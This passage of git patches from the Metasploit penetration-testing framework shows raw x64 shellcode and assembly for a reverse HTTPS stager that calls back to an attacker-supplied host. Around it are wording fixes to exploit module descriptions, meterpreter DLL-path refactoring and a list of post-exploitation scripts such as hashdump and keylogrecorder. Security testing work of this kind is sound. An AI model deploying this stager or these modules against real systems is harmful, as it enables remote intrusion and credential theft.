"\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" + + "\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" + + "\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" + + "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + + "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + + "\x75\xCE\x58\x58\xC3" + + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset + } + )) + end - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - p + datastore['LHOST'].to_s + "\x00" - end + # + # Generate the first stage + # + def generate + p = super + i = p.index("/12345\x00") + u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00" + p[i, u.length] = u + p + datastore['LHOST'].to_s + "\x00" + end - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end end From b4b7cecaf45153cf51f796060c00f955a5042bd5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 16 Sep 2013 15:50:00 -0500 Subject: [PATCH 152/160] Various minor desc fixes, also killed some tabs. --- .../dos/samba/read_nttrans_ea_list.rb | 2 +- .../auxiliary/gather/hp_snac_domain_creds.rb | 2 +- .../scanner/http/ntlm_info_enumeration.rb | 2 +- .../http/dlink_upnp_exec_noauth_telnetd.rb | 2 +- .../http/hp_pcm_snac_update_certificates.rb | 2 +- .../windows/http/hp_pcm_snac_update_domain.rb | 2 +- .../http/hp_sitescope_runomagentcommand.rb | 2 +- .../windows/local/agnitum_outpost_acs.rb | 2 +- .../exploits/windows/local/ikeext_service.rb | 19 +++++++++---------- 9 files changed, 17 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index d100244fc9..b6a17ea63a 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary Integer overflow in the read_nttrans_ea_list function in nttrans.c in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before 4.0.8 allows remote attackers to cause a denial of service (memory - consumption) via a malformed packet. Important Note: in order to work + consumption) via a malformed packet. Important Note: in order to work, the "ea support" option on the target share must be enabled. }, 'Author' => diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 1041a951fe..7b885b7da6 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module will extract Domain Controller credentials from vulnerable installations of HP SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability - has been used to exploit remote file uploads. But it can be used to gather important + has been used to exploit remote file uploads. This vulnerability can be used to gather important information handled by the vulnerable application, like plain text domain controller credentials. This module has been tested successfully with HP SNAC included with ProCurve Manager 4.0. diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 76e623af4b..4561e0835f 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module makes requests to resources on the target server in an attempt to find resources which permit NTLM authentication. For - resources which permit NTLM authentication a blank NTLM type 1 message + resources which permit NTLM authentication, a blank NTLM type 1 message is sent to enumerate a a type 2 message from the target server. The type 2 message is then parsed for information such as the Active Directory domain and NetBIOS name. diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 700cfbc9dd..335d542b44 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices may be affected. diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 4f32e54e27..bf1dd3e84d 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload', 'Description' => %q{ This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The - vulnerability, on the UpdateCertificatesServlet, allows an attacker to upload arbitrary + vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary files, just having into account binary writes aren't allowed. Additionally, authentication can be bypassed in order to upload the file. This module has been tested successfully on the SNAC server installed with HP ProCurve Manager 4.0. diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index f80827cd79..d24d458f5c 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload', 'Description' => %q{ This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The - vulnerability, on the UpdateDomainControllerServlet, allows an attacker to upload arbitrary + vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary files, just having into account binary writes aren't allowed. Additionally, authentication can be bypassed in order to upload the file. This module has been tested successfully on the SNAC server installed with HP ProCurve Manager 4.0. diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 1bf5932715..03f932c990 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'HP SiteScope Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. - The vulnerability exists on the opcactivate.vbs script, which + The vulnerability exists in the opcactivate.vbs script, which is reachable from the APIBSMIntegrationImpl AXIS service, and uses WScript.Shell.run() to execute cmd.exe with user provided data. Note that the opcactivate.vbs component is installed diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index 8847005754..16c30bcd42 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local 'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation', 'Description' => %q{ This module exploits a directory traversal vulnerability on Agnitum Outpost Internet - Security 8.1. The vulnerability exists on the acs.exe component, allowing the user to load + Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions). diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index f82ba28c0c..8ba2e8390f 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -24,31 +24,30 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', - 'Description' => %q{ + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. - It requires an insecure bin path to plant the DLL payload. + installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. }, - 'References' => + 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 09 2012", - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], - 'Platform' => [ 'win'], - 'Targets' => + 'Platform' => [ 'win'], + 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], - 'SessionTypes' => [ "meterpreter" ], + 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', From 38691445af9fdb46e056b57d3cfd76e67ee36e10 Mon Sep 17 00:00:00 2001 From: Ryan Wincey Date: Mon, 16 Sep 2013 16:51:37 -0400 Subject: [PATCH 153/160] Fixed memory alignment for x64 reverse_http stager --- .../shellcode/windows/x64/src/block/block_reverse_https.asm | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 9c027c28b9..32ba7ff12b 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -1,6 +1,7 @@ ;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Rewritten for x64 by agix +; Modified to account for memory alignment by rwincey ; Compatible: Windows 7 ; Architecture: x64 ;-----------------------------------------------------------------------------; @@ -12,6 +13,7 @@ load_wininet: ; setup the structures we need on the stack... + push byte 0 ; alignment mov r14, 'wininet' push r14 ; Push the bytes 'wininet',0 onto the stack. mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call. @@ -20,6 +22,7 @@ load_wininet: call rbp ; LoadLibraryA( "ws2_32" ) internetopen: + push byte 0 ; alignment push byte 0 ; NULL pointer mov rcx, rsp ; LPCTSTR lpszAgent ("\x00") xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0) @@ -74,6 +77,7 @@ retry: internetsetoption: mov rcx, rsi ; HINTERNET hInternet mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push byte 0 ; alignment push qword 0x00003380 ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID @@ -90,6 +94,7 @@ httpsendrequest: xor rdx, rdx ; LPCTSTR lpszHeaders xor r8, r8 ; DWORD dwHeadersLength xor r9, r9 ; LPVOID lpOptional + push rdx ; alignment push rdx ; DWORD dwOptionalLength mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call rbp From d6954e9ce78401e12a4b5ac01feec9c764d915c6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 16 Sep 2013 16:04:50 -0500 Subject: [PATCH 154/160] Fix migrate from 32- to 64-bit processes In some cases, it was possible to end up in a situation where the x64 reflective library hadn't been loaded by the time a user typed migrate. If the target process was 64-bit, msfconsole would error out with a NoMethodError and much sadness would ensue. [See #2356] --- lib/msf/core/payload/windows.rb | 12 ++++++++++++ lib/rex/post/meterpreter/client_core.rb | 3 +++ 2 files changed, 15 insertions(+) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 6ca8cb10e4..9d7e5cd574 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,9 +12,21 @@ require 'msf/core' module Msf::Payload::Windows require 'msf/core/payload/windows/prepend_migrate' + # Provides the #prepends method + # XXX: For some unfathomable reason, the order of requires here is + # important. If this include happens after require'ing the files + # below, it causes the windows/exec payload (and probably others) to + # somehow not have PrependMigrate despite having Payload::Windows, + # which leads to a NoMethodError on #prepends include Msf::Payload::Windows::PrependMigrate + require 'msf/core/payload/windows/dllinject' + require 'msf/core/payload/windows/exec' + require 'msf/core/payload/windows/loadlibrary' + require 'msf/core/payload/windows/reflectivedllinject' + require 'msf/core/payload/windows/x64/reflectivedllinject' + # # ROR hash associations for some of the exit technique routines. # diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 67fc0fdf81..4777223ea4 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -4,6 +4,9 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/client' + +# Used to generate a reflective DLL when migrating. This is yet another +# argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' module Rex From 7eb4e109993287263f8f6381b9c2d2a9d6d51ac0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 16 Sep 2013 17:23:16 -0500 Subject: [PATCH 155/160] Extend Travis's depth a bit Instead of depth=1, try depth=5. This way, if something gets landed before travis had a chance to build, it'll still get tested, at least post-facto. This is the root cause of the build failure at https://travis-ci.org/rapid7/metasploit-framework/builds/11436293 That commit is not available because the HEAD pointer moved past it with the next commit; IOW, we landed too quick for Travis to rspec each change, which is generating failed build messages. If there was really a failure in there, it'd be a pain now to determine which commit actually broke the build. --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 9c98a8aacd..1ae7e19bcf 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,4 +15,4 @@ notifications: irc: "irc.freenode.org#msfnotify" git: - depth: 1 + depth: 5 From 21055f6856175fba40cfe37f719e2ff416aead92 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 16 Sep 2013 21:52:04 -0500 Subject: [PATCH 156/160] Add x86 to meterpreter's binary suffix This makes x86 more consistent with x64. Also replaces a bunch of instances of: File.join(Msf::Config.install_root, 'data', ...) with the simpler File.join(Msf::Config.data_directory, ...) [See rapid7/meterpreter#19] --- data/meterpreter/{elevator.dll => elevator.x86.dll} | Bin ...xt_server_espia.dll => ext_server_espia.x86.dll} | Bin ...r_incognito.dll => ext_server_incognito.x86.dll} | Bin ...lanattacks.dll => ext_server_lanattacks.x86.dll} | Bin ...ver_mimikatz.dll => ext_server_mimikatz.x86.dll} | Bin ...{ext_server_priv.dll => ext_server_priv.x86.dll} | Bin ...erver_sniffer.dll => ext_server_sniffer.x86.dll} | Bin ..._server_stdapi.dll => ext_server_stdapi.x86.dll} | Bin data/meterpreter/{metsrv.dll => metsrv.x86.dll} | Bin .../{screenshot.dll => screenshot.x86.dll} | Bin lib/msf/base/sessions/meterpreter_x86_win.rb | 2 +- lib/rex/post/meterpreter/client_core.rb | 8 ++++---- lib/rex/post/meterpreter/extensions/priv/priv.rb | 6 +----- lib/rex/post/meterpreter/extensions/stdapi/ui.rb | 4 ++-- .../ui/console/command_dispatcher/core.rb | 4 ++-- modules/payloads/stages/windows/meterpreter.rb | 2 +- .../payloads/stages/windows/patchupmeterpreter.rb | 2 +- modules/payloads/stages/windows/x64/meterpreter.rb | 2 +- 18 files changed, 13 insertions(+), 17 deletions(-) rename data/meterpreter/{elevator.dll => elevator.x86.dll} (100%) rename data/meterpreter/{ext_server_espia.dll => ext_server_espia.x86.dll} (100%) rename data/meterpreter/{ext_server_incognito.dll => ext_server_incognito.x86.dll} (100%) rename data/meterpreter/{ext_server_lanattacks.dll => ext_server_lanattacks.x86.dll} (100%) rename data/meterpreter/{ext_server_mimikatz.dll => ext_server_mimikatz.x86.dll} (100%) rename data/meterpreter/{ext_server_priv.dll => ext_server_priv.x86.dll} (100%) rename data/meterpreter/{ext_server_sniffer.dll => ext_server_sniffer.x86.dll} (100%) rename data/meterpreter/{ext_server_stdapi.dll => ext_server_stdapi.x86.dll} (100%) rename data/meterpreter/{metsrv.dll => metsrv.x86.dll} (100%) rename data/meterpreter/{screenshot.dll => screenshot.x86.dll} (100%) diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.x86.dll similarity index 100% rename from data/meterpreter/elevator.dll rename to data/meterpreter/elevator.x86.dll diff --git a/data/meterpreter/ext_server_espia.dll b/data/meterpreter/ext_server_espia.x86.dll similarity index 100% rename from data/meterpreter/ext_server_espia.dll rename to data/meterpreter/ext_server_espia.x86.dll diff --git a/data/meterpreter/ext_server_incognito.dll b/data/meterpreter/ext_server_incognito.x86.dll similarity index 100% rename from data/meterpreter/ext_server_incognito.dll rename to data/meterpreter/ext_server_incognito.x86.dll diff --git a/data/meterpreter/ext_server_lanattacks.dll b/data/meterpreter/ext_server_lanattacks.x86.dll similarity index 100% rename from data/meterpreter/ext_server_lanattacks.dll rename to data/meterpreter/ext_server_lanattacks.x86.dll diff --git a/data/meterpreter/ext_server_mimikatz.dll b/data/meterpreter/ext_server_mimikatz.x86.dll similarity index 100% rename from data/meterpreter/ext_server_mimikatz.dll rename to data/meterpreter/ext_server_mimikatz.x86.dll diff --git a/data/meterpreter/ext_server_priv.dll b/data/meterpreter/ext_server_priv.x86.dll similarity index 100% rename from data/meterpreter/ext_server_priv.dll rename to data/meterpreter/ext_server_priv.x86.dll diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.x86.dll similarity index 100% rename from data/meterpreter/ext_server_sniffer.dll rename to data/meterpreter/ext_server_sniffer.x86.dll diff --git a/data/meterpreter/ext_server_stdapi.dll b/data/meterpreter/ext_server_stdapi.x86.dll similarity index 100% rename from data/meterpreter/ext_server_stdapi.dll rename to data/meterpreter/ext_server_stdapi.x86.dll diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.x86.dll similarity index 100% rename from data/meterpreter/metsrv.dll rename to data/meterpreter/metsrv.x86.dll diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.x86.dll similarity index 100% rename from data/meterpreter/screenshot.dll rename to data/meterpreter/screenshot.x86.dll diff --git a/lib/msf/base/sessions/meterpreter_x86_win.rb b/lib/msf/base/sessions/meterpreter_x86_win.rb index 7e3f6efc22..ee2ba2bc17 100644 --- a/lib/msf/base/sessions/meterpreter_x86_win.rb +++ b/lib/msf/base/sessions/meterpreter_x86_win.rb @@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter def initialize(rstream,opts={}) super self.platform = 'x86/win32' - self.binary_suffix = 'dll' + self.binary_suffix = 'x86.dll' end def lookup_error(code) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 67fc0fdf81..70a992d27f 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -147,7 +147,7 @@ class ClientCore < Extension end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") if (opts['ExtensionPath']) path = opts['ExtensionPath'] @@ -209,7 +209,7 @@ class ClientCore < Extension # Include the appropriate reflective dll injection module for the target process architecture... if( process['arch'] == ARCH_X86 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "dll" + binary_suffix = "x86.dll" elsif( process['arch'] == ARCH_X86_64 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) binary_suffix = "x64.dll" @@ -219,7 +219,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" ) + migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) blob = migrate_stager.stage_payload @@ -297,7 +297,7 @@ class ClientCore < Extension client.binary_suffix = 'x64.dll' else client.platform = 'x86/win32' - client.binary_suffix = 'dll' + client.binary_suffix = 'x86.dll' end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index f89e676f77..e6bb5dc472 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -46,11 +46,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - if( client.platform == 'x64/win64' ) - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" ) - else - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" ) - end + elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) elevator_path = ::File.expand_path( elevator_path ) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 537ec99e63..b538251b6d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -157,7 +157,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| @@ -167,7 +167,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 7e36a017e2..1cf58f4007 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core case opt when "-l" exts = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) exts.push($1) @@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core def cmd_load_tabs(str, words) tabs = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not extensions.include?($1)) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 550378c7ad..d94e381e19 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index c3f64723c7..996b2537cf 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -43,7 +43,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 006079fbb5..0a15a83174 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -36,7 +36,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.x64.dll" ) + File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) end end From ca53c6f15b59cbafe80b57474b2cf9fe2d198bdf Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 17 Sep 2013 10:42:58 -0500 Subject: [PATCH 157/160] Remove Id tags in scripts/ --- scripts/meterpreter/arp_scanner.rb | 4 +-- scripts/meterpreter/autoroute.rb | 3 -- scripts/meterpreter/checkvm.rb | 2 -- scripts/meterpreter/credcollect.rb | 2 -- scripts/meterpreter/domain_list_gen.rb | 2 -- scripts/meterpreter/dumplinks.rb | 2 -- scripts/meterpreter/duplicate.rb | 2 -- scripts/meterpreter/enum_chrome.rb | 2 -- scripts/meterpreter/enum_firefox.rb | 4 +-- scripts/meterpreter/enum_logged_on_users.rb | 2 -- scripts/meterpreter/enum_powershell_env.rb | 4 +-- scripts/meterpreter/enum_putty.rb | 4 +-- scripts/meterpreter/enum_shares.rb | 4 +-- scripts/meterpreter/enum_vmware.rb | 9 ++---- scripts/meterpreter/event_manager.rb | 26 +++++++-------- scripts/meterpreter/file_collector.rb | 2 -- scripts/meterpreter/get_application_list.rb | 4 +-- scripts/meterpreter/get_env.rb | 2 -- scripts/meterpreter/get_filezilla_creds.rb | 10 ++---- scripts/meterpreter/get_local_subnets.rb | 3 -- scripts/meterpreter/get_pidgin_creds.rb | 4 +-- scripts/meterpreter/get_valid_community.rb | 8 ++--- scripts/meterpreter/getcountermeasure.rb | 4 +-- scripts/meterpreter/getgui.rb | 8 ++--- scripts/meterpreter/gettelnet.rb | 6 ++-- scripts/meterpreter/getvncpw.rb | 2 -- scripts/meterpreter/hashdump.rb | 22 ++++++------- scripts/meterpreter/hostsedit.rb | 2 -- scripts/meterpreter/keylogrecorder.rb | 8 ++--- scripts/meterpreter/killav.rb | 2 -- scripts/meterpreter/metsvc.rb | 3 -- scripts/meterpreter/migrate.rb | 2 -- scripts/meterpreter/multi_console_command.rb | 6 ++-- scripts/meterpreter/multi_meter_inject.rb | 2 -- scripts/meterpreter/multicommand.rb | 2 -- scripts/meterpreter/multiscript.rb | 2 -- scripts/meterpreter/netenum.rb | 24 +++++++------- scripts/meterpreter/packetrecorder.rb | 2 -- scripts/meterpreter/panda_2007_pavsrv51.rb | 2 -- scripts/meterpreter/persistence.rb | 2 -- scripts/meterpreter/pml_driver_config.rb | 2 -- scripts/meterpreter/powerdump.rb | 2 -- scripts/meterpreter/prefetchtool.rb | 2 -- scripts/meterpreter/process_memdump.rb | 2 -- scripts/meterpreter/remotewinenum.rb | 4 +-- scripts/meterpreter/scheduleme.rb | 2 -- scripts/meterpreter/schelevator.rb | 7 +--- scripts/meterpreter/schtasksabuse.rb | 2 -- scripts/meterpreter/scraper.rb | 2 -- scripts/meterpreter/screen_unlock.rb | 2 -- scripts/meterpreter/screenspy.rb | 2 -- scripts/meterpreter/search_dwld.rb | 2 -- scripts/meterpreter/service_manager.rb | 8 ++--- .../service_permissions_escalate.rb | 2 -- scripts/meterpreter/sound_recorder.rb | 2 -- scripts/meterpreter/srt_webdrive_priv.rb | 3 -- scripts/meterpreter/uploadexec.rb | 2 -- .../meterpreter/virtualbox_sysenter_dos.rb | 4 --- scripts/meterpreter/virusscan_bypass.rb | 3 -- scripts/meterpreter/vnc.rb | 3 -- scripts/meterpreter/webcam.rb | 2 -- scripts/meterpreter/win32-sshclient.rb | 12 +++---- scripts/meterpreter/win32-sshserver.rb | 32 ++++++++----------- scripts/meterpreter/winbf.rb | 12 +++---- scripts/meterpreter/winenum.rb | 6 ++-- scripts/meterpreter/wmic.rb | 2 -- scripts/shell/migrate.rb | 2 -- scripts/shell/spawn_meterpreter.rb | 2 -- 68 files changed, 90 